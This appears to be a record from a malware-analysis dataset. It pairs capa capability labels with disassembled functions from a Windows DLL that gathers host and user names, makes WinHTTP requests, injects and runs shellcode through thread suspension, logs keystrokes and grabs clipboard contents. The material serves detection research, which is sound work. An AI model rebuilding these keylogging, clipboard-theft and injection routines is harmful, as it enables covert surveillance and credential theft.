joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180019b78
Capabilities:
Get hostname
Get session user name

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x30
mov eax, dword [0x180037c94]
and dword [rsp + 0x40], 0
lea rdx, [rsp + 0x48]
mov dword [rsp + 0x48], eax
mov rdi, rcx
call fcn.180016024
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov edx, dword [rsp + 0x40]
test edx, edx
je 0x180019c04
mov rcx, qword [0x180037ae8]
mov r8, rdx
xor edx, edx
add r8, r8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x180019c04
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x180019bf2
mov edx, dword [rsp + 0x40]
mov rcx, rbx
add edx, edx
call fcn.180028dfc
xor dword [rdi], eax
mov rcx, qword [0x180037ae8]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
and dword [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov edx, dword [rsp + 0x40]
test edx, edx
je 0x180019c70
mov rcx, qword [0x180037ae8]
mov r8, rdx
xor edx, edx
add r8, r8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x180019c70
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x180019c5e
mov edx, dword [rsp + 0x40]
mov rcx, rbx
add edx, edx
call fcn.180028dfc
xor dword [rdi + 0xc], eax
mov rcx, qword [0x180037ae8]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor ecx, ecx
mov eax, 1
cpuid
mov r8d, eax
mov eax, dword [rdi + 4]
mov dword [rsp + 0x24], ebx
mov rbx, qword [rsp + 0x50]
xor eax, edx
xor eax, ecx
xor eax, r8d
mov dword [rdi + 4], eax
add rsp, 0x30
pop rdi
ret
Function at 0x18001a10c
Capabilities:
Check os version
Initialize winhttp library
Prepare http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov dword [rsp + 0x18], r8d
push rsi
push rdi
push r12
sub rsp, 0x50
mov rax, rdx
mov rdi, rcx
xor edx, edx
mov rcx, rax
mov ebp, r9d
call fcn.18001744c
xor ebx, ebx
mov rsi, rax
cmp rax, rbx
je 0x18001a2f6
call qword [sym.imp.KERNEL32.dll_GetVersion]
lea r12d, [rbx + 4]
cmp al, 6
ja 0x18001a164
jne 0x18001a15c
shr ax, 8
cmp al, 1
ja 0x18001a164
mov edx, ebx
mov dword [rsp + 0x40], ebx
jmp 0x18001a16b
mov edx, r12d
mov dword [rsp + 0x40], edx
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rcx, qword [0x180037ae8]
mov r8, rsi
xor edx, edx
mov qword [rdi + 0x20], rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rdi + 0x20], rbx
je 0x18001a2f6
mov rcx, qword [rdi]
xor edx, edx
call fcn.18001744c
mov rsi, rax
cmp rax, rbx
je 0x18001a2f6
mov ecx, dword [rsp + 0x90]
mov rdx, rax
neg ecx
mov rcx, qword [rdi + 0x20]
sbb r8w, r8w
xor r9d, r9d
and r8w, 0x16b
add r8w, 0x50
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rcx, qword [0x180037ae8]
mov r8, rsi
xor edx, edx
mov qword [rdi + 0x28], rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rdi + 0x28], rbx
je 0x18001a2f6
cmp dword [rsp + 0x90], ebx
mov eax, 0x100
mov ecx, 0x800100
cmovne eax, ecx
mov rcx, qword [rdi + 8]
xor edx, edx
mov dword [rsp + 0x40], eax
call fcn.18001744c
mov rsi, rax
cmp rax, rbx
je 0x18001a2f6
mov ecx, dword [rsp + 0x40]
lea rax, [0x18003b408]
lea rdx, [0x18003b420]
mov dword [rsp + 0x30], ecx
mov rcx, qword [rdi + 0x28]
cmp ebp, ebx
cmovne rdx, rax
mov r8, rsi
xor r9d, r9d
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rcx, qword [0x180037ae8]
mov r8, rsi
xor edx, edx
mov qword [rdi + 0x30], rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rdi + 0x30]
cmp rcx, rbx
je 0x18001a2f6
mov esi, 0x1f
lea r9, [rsp + 0x44]
lea r8, [rsp + 0x40]
mov edx, esi
mov dword [rsp + 0x44], r12d
call qword [sym.imp.WINHTTP.dll_WinHttpQueryOption]
cmp eax, ebx
je 0x18001a2ba
mov rcx, qword [rdi + 0x30]
bts dword [rsp + 0x40], 8
lea r8, [rsp + 0x40]
mov r9d, r12d
mov edx, esi
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
mov rcx, qword [rdi + 0x30]
lea r8, [rsp + 0x80]
mov r9d, r12d
mov edx, 6
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
cmp eax, ebx
je 0x18001a2f6
mov rcx, qword [rdi + 0x30]
lea r8, [rsp + 0x80]
mov r9d, r12d
mov edx, 5
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
cmp eax, ebx
jne 0x18001a2fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rbp, qword [rsp + 0x78]
mov eax, ebx
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop r12
pop rdi
pop rsi
ret
Function at 0x18001a744
Capabilities:
Receive http response

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [rcx + 0x30]
lea rdx, [rsp + 0x40]
xor ebx, ebx
and dword [rsp + 0x48], ebx
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x18001a89f
cmp dword [rsp + 0x40], ebx
je 0x18001a89a
lea r8, [rsp + 0x50]
lea edx, [rbx + 1]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0x18001a893
mov rcx, qword [0x180037ae8]
xor edx, edx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x18001a881
mov ecx, dword [rsp + 0x40]
mov r8d, 0x1000
lea r9, [rsp + 0x48]
mov rdx, rsi
cmp ecx, r8d
cmovb r8d, ecx
mov rcx, qword [rdi + 0x30]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x18001a7fc
mov rcx, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x48]
xor r9d, r9d
mov rax, qword [rcx]
mov rdx, rsi
call qword [rax + 0x20]
mov ecx, dword [rsp + 0x40]
sub ecx, dword [rsp + 0x48]
mov dword [rsp + 0x40], ecx
je 0x18001a804
jmp 0x18001a7b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [0x180037ca8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x18001a855
mov rcx, qword [rdi + 0x30]
lea rdx, [rsp + 0x40]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x18001a848
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp eax, 0x2f78
jne 0x18001a85a
mov ecx, dword [rsp + 0x40]
test ecx, ecx
jne 0x18001a85a
xor ebx, ebx
jmp 0x18001a84c
mov ecx, dword [rsp + 0x40]
test ecx, ecx
je 0x18001a85a
jmp 0x18001a7b3
mov ebx, 0x102
mov rcx, qword [0x180037ae8]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
jne 0x18001a886
mov rdx, qword [rsp + 0x50]
mov rcx, rdi
call fcn.18001a034
mov ebx, eax
jmp 0x18001a886
mov ebx, 8
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x18001a8b4
mov ebx, 8
jmp 0x18001a8b4
and dword [rdi + 0x58], ebx
jmp 0x18001a8b4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp eax, 0x2efe
jne 0x18001a8b4
and dword [rdi + 0x58], 0
xor ebx, ebx
mov eax, ebx
add rsp, 0x20
pop rdi
pop rsi
pop rbx
ret
Function at 0x18001a8c0
Capabilities:
Read http header
Receive http response

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x30
mov ebx, dword [rcx + 0x50]
xor r12d, r12d
mov rdi, rcx
mov dword [rax + 0x10], r12d
mov dword [rcx + 0x54], r12d
cmp ebx, r12d
jne 0x18001aa37
mov rcx, qword [rcx + 0x30]
xor edx, edx
mov dword [rax + 8], 4
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
cmp eax, r12d
je 0x18001aa2f
mov rcx, qword [rdi + 0x30]
lea rax, [rsp + 0x58]
lea r9, [rdi + 0x54]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov edx, 0x20000013
mov qword [rsp + 0x20], rax
call sub.WINHTTP.dll_WinHttpQueryHeaders
cmp eax, r12d
je 0x18001aa2f
mov rcx, qword [rdi + 0x30]
lea rax, [rsp + 0x58]
lea ebp, [r12 + 0x16]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov edx, ebp
mov dword [rsp + 0x58], r12d
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], r12d
call sub.WINHTTP.dll_WinHttpQueryHeaders
mov r8d, dword [rsp + 0x50]
mov rcx, qword [0x180037ae8]
xor edx, edx
add r8d, 2
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
cmp rax, r12
je 0x18001aa28
mov rcx, qword [rdi + 0x30]
lea rax, [rsp + 0x58]
mov r9, rsi
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov edx, ebp
mov qword [rsp + 0x20], rax
call sub.WINHTTP.dll_WinHttpQueryHeaders
cmp eax, r12d
je 0x18001aa0c
mov eax, dword [rsp + 0x50]
mov rcx, qword [0x180037ae8]
xor edx, edx
shr eax, 1
mov dword [rsp + 0x50], eax
mov word [rsi + rax*2], r12w
mov r8d, dword [rsp + 0x50]
inc r8d
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
cmp rax, r12
je 0x18001aa05
mov r8d, dword [rsp + 0x50]
mov rdx, rsi
mov rcx, rax
inc r8d
call qword [sym.imp.ntdll.dll_wcstombs]
mov qword [rdi + 0x18], rbp
jmp 0x18001aa14
mov ebx, 8
jmp 0x18001aa14
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [0x180037ae8]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18001aa37
mov ebx, 8
jmp 0x18001aa37
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
Function at 0x18001b38c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x510
and qword [rsp + 0x40], 0
mov r14, rcx
mov r13d, r8d
mov rbp, rdx
lea rcx, [rsp + 0x48]
mov r8d, 0x4c8
xor edx, edx
mov rdi, r9
call sub.ntdll.dll_memset
mov rsi, qword [rbp]
xor ecx, ecx
mov rdx, rsi
mov dword [rsp + 0x558], 0xccccfeeb
call fcn.1800162bc
xor r12d, r12d
mov dword [rsp + 0x70], 0x10000b
test eax, eax
lea ecx, [r12 + 0x10]
cmovne r12d, ecx
test rdi, rdi
jne 0x18001b40a
mov rcx, qword [rbp]
mov edx, r12d
call fcn.18001ab5c
mov rdi, rax
lea rax, [rsp + 0x30]
mov r15d, 4
lea r8, [rsp + 0x568]
mov rdx, rdi
mov rcx, rsi
mov r9d, r15d
mov qword [rsp + 0x20], rax
call fcn.1800170e4
test eax, eax
je 0x18001b564
cmp qword [rsp + 0x30], r15
jne 0x18001b564
lea rax, [rsp + 0x560]
lea r9d, [r15 + 0x3c]
mov r8, r15
mov rdx, rdi
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x18001b484
lea r9, [rsp + 0x560]
lea r8, [rsp + 0x558]
mov rdx, rdi
mov rcx, rsi
call fcn.18001aae8
jmp 0x18001b486
xor eax, eax
test eax, eax
je 0x18001b564
mov ebx, 0xbb8
mov r15d, 0x64
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [0x180037ca8]
mov edx, r15d
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 8]
cmp eax, 0x102
cmovne ebx, r15d
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rax, qword [0x180036668]
sub ebx, r15d
test rax, rax
je 0x18001b4e8
mov rcx, qword [rbp + 8]
lea rdx, [rsp + 0x40]
call rax
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
test ebx, ebx
jle 0x18001b4f6
cmp qword [rsp + 0x138], rdi
jne 0x18001b499
cmp qword [rsp + 0x138], rdi
je 0x18001b507
mov ebx, 0x261
jmp 0x18001b51a
xor r9d, r9d
mov r8d, r12d
mov rdx, r14
mov rcx, rbp
call fcn.18001ad44
mov ebx, eax
mov r9d, 0x40
lea rax, [rsp + 0x560]
mov rdx, rdi
lea r15d, [r9 - 0x3c]
mov rcx, rsi
mov qword [rsp + 0x20], rax
mov r8, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x18001b55f
lea r9, [rsp + 0x560]
lea r8, [rsp + 0x568]
mov rdx, rdi
mov rcx, rsi
call fcn.18001aae8
cmp ebx, 0xffffffff
jne 0x18001b56c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test r15b, r13b
jne 0x18001b57b
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, ebx
mov rbx, qword [rsp + 0x550]
add rsp, 0x510
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18001b6b4
Capabilities:
Get process image filename
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, qword [rcx]
mov rdi, rcx
mov rcx, qword [0x180037ae8]
mov esi, edx
xor edx, edx
mov r8d, 0x1000
lea r12d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r13d, r13d
mov rbx, rax
cmp rax, r13
je 0x18001b773
mov r8d, 0x800
mov rdx, rax
mov rcx, rbp
call sub.PSAPI.DLL_GetProcessImageFileNameW
cmp eax, r13d
je 0x18001b74a
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov rbp, rax
cmp rax, r13
je 0x18001b74a
mov rcx, rax
call qword [sym.imp.ntdll.dll__wcsupr]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, rbp
mov edx, eax
call fcn.180028dfc
xor eax, dword [0x180037cb0]
cmp eax, 0x93c01765
cmove r12d, r13d
mov rcx, qword [0x180037ae8]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp r12d, r13d
jne 0x18001b773
test sil, 4
jne 0x18001b788
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x18001b788
lea rcx, [0x180037d60]
xor r9d, r9d
mov r8d, esi
mov rdx, rdi
call fcn.18001b38c
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret

Function at 0x18001c080
Capabilities:
Allocate or change rwx memory
Map section object

Disassembly:
mov r11, rsp
sub rsp, 0x68
xor r9d, r9d
mov dword [rsp + 0x48], 0x40
xor eax, eax
mov dword [r11 - 0x28], r9d
mov dword [r11 + 0x24], eax
lea rax, [r11 - 0x18]
mov dword [rsp + 0x38], 2
mov qword [r11 - 0x38], rax
lea rax, [r11 + 0x20]
mov qword [r11 - 0x40], rax
mov qword [r11 - 0x18], r9
mov dword [r11 + 0x20], r9d
mov qword [r11 - 0x48], r9
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
add rsp, 0x68
ret
Function at 0x18001c26c
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x20
mov esi, 8
mov rbp, rcx
lea edx, [rsi + 0x14]
call fcn.180028dfc
mov rcx, qword [0x180037da8]
lea r8, [rsp + 0x58]
mov edx, eax
call fcn.18001da4c
neg eax
sbb rbx, rbx
xor r14d, r14d
and rbx, qword [rsp + 0x58]
cmp rbx, r14
je 0x18001c44c
mov r13d, dword [rbx + 0x4a18]
cmp r13d, r14d
jne 0x18001c394
mov r8d, dword [rbp]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
cmp rax, r14
je 0x18001c301
lea r8, [rbx + 0x10]
xor edx, edx
mov r9d, 0x104
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbx + 0x4a1c], 1
cmp qword [0x180037db0], r14
je 0x18001c374
lea rcx, [rbx + 0x10]
mov r8d, 0x5c
xor edx, edx
call qword [sym.imp.SHLWAPI.dll_StrRChrW]
mov r12, rax
cmp rax, r14
je 0x18001c374
lea rcx, [rax + 2]
mov edx, 0x2e
call qword [sym.imp.SHLWAPI.dll_StrChrW]
mov rdi, rax
cmp rax, r14
je 0x18001c349
mov word [rax], r14w
mov rcx, qword [0x180037db0]
lea rdx, [r12 + 2]
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
cmp rax, r14
jne 0x18001c367
mov dword [rbx + 0x4a1c], r14d
cmp rdi, r14
je 0x18001c374
mov eax, 0x2e
mov word [rdi], ax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov rcx, qword [rbp + 0x10]
lea rdx, [rbx + 0x218]
mov r8d, 0x400
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov dword [rbx + 0x4a18], 1
cmp dword [rbx + 0x4a1c], r14d
je 0x18001c435
movzx ecx, word [rbp + 0x20]
cmp cx, r14w
je 0x18001c3e0
mov eax, dword [rbx + 8]
cmp eax, 0x2000
jae 0x18001c3e0
cmp cx, si
jne 0x18001c3d0
cmp eax, r14d
je 0x18001c3db
dec eax
mov dword [rbx + 8], eax
jmp 0x18001c3db
mov word [rbx + rax*2 + 0xa18], cx
inc dword [rbx + 8]
mov esi, r14d
jmp 0x18001c3e5
mov esi, 0x6f
cmp qword [rbp + 0x22], r14
je 0x18001c435
mov rcx, qword [0x180037ae8]
xor edx, edx
lea r8d, [rdx + 0x20]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
cmp rax, r14
je 0x18001c435
lea rcx, [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov r11, qword [rbp + 0x22]
lea rdx, [rbx + 0x4a20]
mov qword [rdi + 0x18], r11
mov qword [rbp + 0x22], r14
mov rcx, qword [rdx + 8]
mov qword [rdi + 8], rcx
mov qword [rdi], rdx
mov qword [rcx], rdi
mov qword [rdx + 8], rdi
cmp r13d, r14d
je 0x18001c44c
mov rcx, qword [0x180037da8]
lea r8, [rbx - 0x34]
xor edx, edx
call fcn.18001dbd4
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov eax, esi
add rsp, 0x20
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x18001c7e8
Capabilities:
Get graphical window text

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0xa0
xor ebx, ebx
mov r14, r8
mov r13, rdx
mov r12d, ecx
lea rdi, [0x1800360ec]
mov esi, ebx
cmp dword [rdi - 4], r12d
jne 0x18001c85b
cmp dword [rdi], ebx
je 0x18001c86c
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r13
call qword [sym.imp.USER32.dll_GetClassNameA]
cmp eax, ebx
mov ebp, eax
jle 0x18001c86c
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, ebp
call fcn.180028dfc
cmp eax, dword [rdi]
je 0x18001c86c
inc esi
add rdi, 0x14
cmp esi, 3
jae 0x18001c935
jmp 0x18001c81c
mov eax, esi
lea rbp, [0x1800360e8]
lea rdi, [rax + rax*4]
cmp dword [rbp + rdi*4 + 0xc], ebx
je 0x18001c8b6
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r13
call qword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, ebx
mov esi, eax
jle 0x18001c8b6
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.180028dfc
cmp eax, dword [rbp + rdi*4 + 0xc]
jne 0x18001c935
cmp dword [rbp + rdi*4 + 8], ebx
je 0x18001c8f3
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r14
call qword [sym.imp.USER32.dll_GetClassNameA]
cmp eax, ebx
mov esi, eax
jle 0x18001c8f3
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.180028dfc
cmp eax, dword [rbp + rdi*4 + 8]
jne 0x18001c935
cmp dword [rbp + rdi*4 + 0x10], ebx
je 0x18001c930
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r14
call qword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, ebx
mov esi, eax
jle 0x18001c930
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.180028dfc
cmp eax, dword [rbp + rdi*4 + 0x10]
jne 0x18001c935
mov ebx, 1
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
ret
Function at 0x18001c95c
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x180
xor r13d, r13d
mov edi, r8d
mov rbp, rcx
mov ebx, edx
lea rcx, [rsp + 0x4c]
lea r8d, [r13 + 0x26]
xor edx, edx
mov r12d, r9d
mov esi, r13d
mov dword [rsp + 0x48], r13d
call sub.ntdll.dll_memset
cmp ebx, 0x100
jne 0x18001cb4d
lea r8d, [r13 + 0x2a]
lea rcx, [rsp + 0x48]
xor edx, edx
call sub.ntdll.dll_memset
lea rcx, [rsp + 0x80]
xor edx, edx
mov r8d, ebx
call sub.ntdll.dll_memset
lea edx, [r13 + 3]
mov rcx, rbp
call qword [sym.imp.USER32.dll_GetAncestor]
mov ebx, dword [rsp + 0x1c8]
mov ecx, dword [rsp + 0x1d0]
mov r8, rax
cmp rax, r13
mov eax, dword [rsp + 0x1c0]
cmove r8, rbp
mov rdx, rbp
mov dword [rsp + 0x4c], ebx
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], r8
call fcn.18001c7e8
lea rcx, [rsp + 0x80]
mov dword [rsp + 0x60], eax
call qword [sym.imp.USER32.dll_GetKeyboardState]
cmp eax, r13d
je 0x18001cb4d
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov ecx, 0xa0
mov rbx, rax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0xa1
mov r11w, ax
shr r11, 8
mov byte [rsp + 0x120], r11b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea ecx, [r13 + 0x10]
mov r11w, ax
shr r11, 8
mov byte [rsp + 0x121], r11b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov qword [rsp + 0x30], rbx
mov r11w, ax
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x80]
shr r11, 8
mov edx, r12d
mov ecx, edi
mov dword [rsp + 0x28], r13d
mov word [rsp + 0x40], r13w
mov byte [rsp + 0x90], r11b
mov dword [rsp + 0x20], 3
call qword [sym.imp.USER32.dll_ToUnicodeEx]
lea esi, [r13 + 1]
cmp eax, 0xffffffff
je 0x18001cb4d
cmp eax, r13d
je 0x18001caf2
movsxd rdi, eax
mov rbx, r13
cmp rdi, r13
jle 0x18001cb4d
movzx eax, word [rsp + rbx*2 + 0x40]
lea rcx, [rsp + 0x48]
mov word [rsp + 0x68], ax
call fcn.18001c26c
add rbx, rsi
cmp rbx, rdi
jl 0x18001cad4
jmp 0x18001cb4d
sub edi, 8
mov ax, r13w
je 0x18001cb33
sub edi, esi
je 0x18001cb2c
sub edi, 0x1c
je 0x18001cb25
sub edi, esi
je 0x18001cb1e
sub edi, esi
je 0x18001cb17
cmp edi, esi
jne 0x18001cb38
mov eax, 0x2193
jmp 0x18001cb38
mov eax, 0x2192
jmp 0x18001cb38
mov eax, 0x2191
jmp 0x18001cb38
mov eax, 0x2190
jmp 0x18001cb38
mov eax, 0x2423
jmp 0x18001cb38
mov eax, 0x21d0
mov word [rsp + 0x68], ax
cmp ax, r13w
je 0x18001cb4d
lea rcx, [rsp + 0x48]
call fcn.18001c26c
mov r8, qword [rsp + 0x6a]
cmp r8, r13
je 0x18001cb66
mov rcx, qword [0x180037ae8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r11, [rsp + 0x180]
mov eax, esi
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop r12
pop rdi
ret
Function at 0x18001cc98
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x50
and dword [rax - 0x38], 0
xor edx, edx
lea rcx, [rax - 0x34]
lea r8d, [rdx + 0x26]
call sub.ntdll.dll_memset
mov ecx, 1
call qword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x18001cdb0
call qword [sym.imp.USER32.dll_GetClipboardOwner]
mov rbp, rax
test rax, rax
je 0x18001cdb0
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x18001cdb0
mov ecx, 0xd
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rdi, rax
test rax, rax
je 0x18001cdaa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rsi, rax
test rax, rax
je 0x18001cda1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
xor edx, edx
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 0x2a]
mov ebx, eax
call sub.ntdll.dll_memset
lea rdx, [rsp + 0x60]
mov rcx, rbp
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [rsp + 0x60]
mov edx, 3
mov dword [rsp + 0x20], ecx
mov rcx, rbp
mov dword [rsp + 0x24], eax
mov qword [rsp + 0x28], rbp
call qword [sym.imp.USER32.dll_GetAncestor]
mov rcx, qword [0x180037ae8]
lea r8d, [rbx + rbx + 2]
xor edx, edx
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x42], rax
test rax, rax
je 0x18001cd97
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rsp + 0x20]
call fcn.18001c26c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret